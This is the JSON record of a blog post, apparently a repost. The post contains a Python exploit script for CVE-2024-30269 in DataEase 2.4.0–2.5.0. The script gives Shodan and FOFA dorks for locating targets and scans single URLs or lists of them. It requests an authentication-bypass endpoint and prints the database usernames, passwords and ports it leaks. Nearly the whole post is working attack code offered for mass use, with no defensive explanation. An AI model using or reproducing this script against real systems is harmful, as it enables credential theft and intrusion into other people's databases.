{"id":62588,"date":"2025-04-09T01:51:17","date_gmt":"2025-04-08T22:21:17","guid":{"rendered":"https:\/\/afaghhosting.net\/blog\/dataease-2-4-0-database-configuration-information-exposure\/"},"modified":"2025-04-09T01:51:17","modified_gmt":"2025-04-08T22:21:17","slug":"dataease-2-4-0-database-configuration-information-exposure","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/dataease-2-4-0-database-configuration-information-exposure\/","title":{"rendered":"DataEase 2.4.0 &#8211; Database Configuration Information Exposure"},"content":{"rendered":"<p><\/p>\n<div>\n<pre><code class=\"language-py\" style=\"white-space: pre-wrap;\">################################################################&#13;\n############################                                   #&#13;\n#- Exploit Title: DataEase Database Creds Extractor            #&#13;\n#- Shodan Dork: http.html:\"dataease\"                           #    &#13;\n#- FOFA Dork: body=\"dataease\" &amp;&amp; title==\"DataEase\"             #&#13;\n#- Exploit Author: ByteHunter                                  #&#13;\n#- Email: 0xByteHunter@proton.me                               #&#13;\n#- vulnerable Versions: 2.4.0-2.5.0                            #&#13;\n#- Tested on: 2.4.0                                            #&#13;\n#- CVE : CVE-2024-30269                                        #                             &#13;\n############################                                   #  &#13;\n################################################################&#13;\n&#13;\nimport argparse&#13;\nimport requests&#13;\nimport re&#13;\nimport json&#13;\nfrom tqdm import tqdm  &#13;\n&#13;\ndef create_vulnerability_checker():&#13;\n    vulnerable_count = 0 &#13;\n&#13;\n    def check_vulnerability(url):&#13;\n        nonlocal vulnerable_count  &#13;\n        endpoint = \"\/de2api\/engine\/getEngine;.js\"&#13;\n        full_url = f\"{url}{endpoint}\"&#13;\n        headers = {&#13;\n            \"Host\": url.split('\/')[2], &#13;\n            \"Accept-Encoding\": \"gzip, deflate, br\",&#13;\n            \"Accept\": \"*\/*\",&#13;\n            \"Accept-Language\": \"en-US;q=0.9,en;q=0.8\",&#13;\n            \"User-Agent\": \"Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.6045.159 Safari\/537.36\",&#13;\n            \"Connection\": \"close\",&#13;\n            \"Cache-Control\": \"max-age=0\"&#13;\n        }&#13;\n&#13;\n        try:&#13;\n            response = requests.get(full_url, headers=headers, timeout=5)&#13;\n            if response.status_code == 200:&#13;\n                try:&#13;\n                    json_data = response.json()&#13;\n                    config = json_data.get(\"data\", {}).get(\"configuration\", None)&#13;\n&#13;\n                    if config:&#13;\n                        config_data = json.loads(config)&#13;\n&#13;\n                        username = config_data.get(\"username\")&#13;\n                        password = config_data.get(\"password\")&#13;\n                        port = config_data.get(\"port\")&#13;\n&#13;\n                        if username and password:&#13;\n                            vulnerable_count += 1  &#13;\n                            print(f\"Vulnerable: {full_url}\")&#13;\n                            print(f\"Username: {username}\")&#13;\n                            print(f\"Password: {password}\")&#13;\n                            if port is not None:&#13;\n                                print(f\"Port Number: {port}\")&#13;\n&#13;\n                except (json.JSONDecodeError, KeyError):&#13;\n                    print(f\"Invalid JSON response from {full_url}\")&#13;\n&#13;\n        except requests.RequestException:&#13;\n            pass&#13;\n&#13;\n        return vulnerable_count &#13;\n&#13;\n    return check_vulnerability&#13;\n&#13;\ndef main():&#13;\n    parser = argparse.ArgumentParser(description=\"CVE-2024-30269 DataEase Database Creds Extractor\")&#13;\n    parser.add_argument('-u', '--url', type=str, help='Single target')&#13;\n    parser.add_argument('-l', '--list', type=str, help='URL File List')&#13;\n    args = parser.parse_args()&#13;\n&#13;\n    check_vulnerability = create_vulnerability_checker()  &#13;\n&#13;\n    if args.url:&#13;\n        check_vulnerability(args.url)&#13;\n    elif args.list:&#13;\n        try:&#13;\n            with open(args.list, 'r') as file:&#13;\n                urls = [url.strip() for url in file.readlines() if url.strip()]  &#13;\n            total_urls = len(urls)&#13;\n            for url in tqdm(urls, desc=\"Processing URLs\", unit=\"url\"):&#13;\n                check_vulnerability(url)&#13;\n               # tqdm.write(f\"Vulnerable Instances: {check_vulnerability(url)}\/{total_urls}\")&#13;\n        except FileNotFoundError:&#13;\n            print(f\"File not found: {args.list}\")&#13;\n    else:&#13;\n        print(\"provide a URL with -u or a file with -l.\")&#13;\n&#13;\nif __name__ == \"__main__\":&#13;\n    main()\n            <\/code><\/pre>\n<\/p><\/div>\n<p><a href=\"https:\/\/afaghhosting.net]\">\u0622\u0641\u0627\u0642 \u0647\u0627\u0633\u062a\u06cc\u0646\u06af \u0645\u062f\u06cc\u0631\u06cc\u062a \u0633\u0631\u0648\u0631 \u0645\u0634\u0627\u0648\u0631 \u0648 \u067e\u0634\u062a\u06cc\u0628\u0627\u0646 \u0641\u0646\u06cc <\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>################################################################&#13; ############################ #&#13; #- Exploit Title: DataEase Database Creds Extractor #&#13; #- Shodan Dork: http.html:&#8221;dataease&#8221; # &#13; #- FOFA Dork: body=&#8221;dataease&#8221; &amp;&amp; title==&#8221;DataEase&#8221; #&#13; #- Exploit Author: ByteHunter #&#13; #- Email: 0xByteHunter@proton.me #&#13; #- vulnerable Versions: 2.4.0-2.5.0 #&#13; #- Tested on: 2.4.0 #&#13; #- CVE : CVE-2024-30269 # &#13; ############################ # &#13; ################################################################&#13; &#13; import &hellip;<\/p>\n","protected":false},"author":1,"featured_media":62562,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-62588","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/62588","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=62588"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/62588\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media\/62562"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=62588"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=62588"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=62588"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}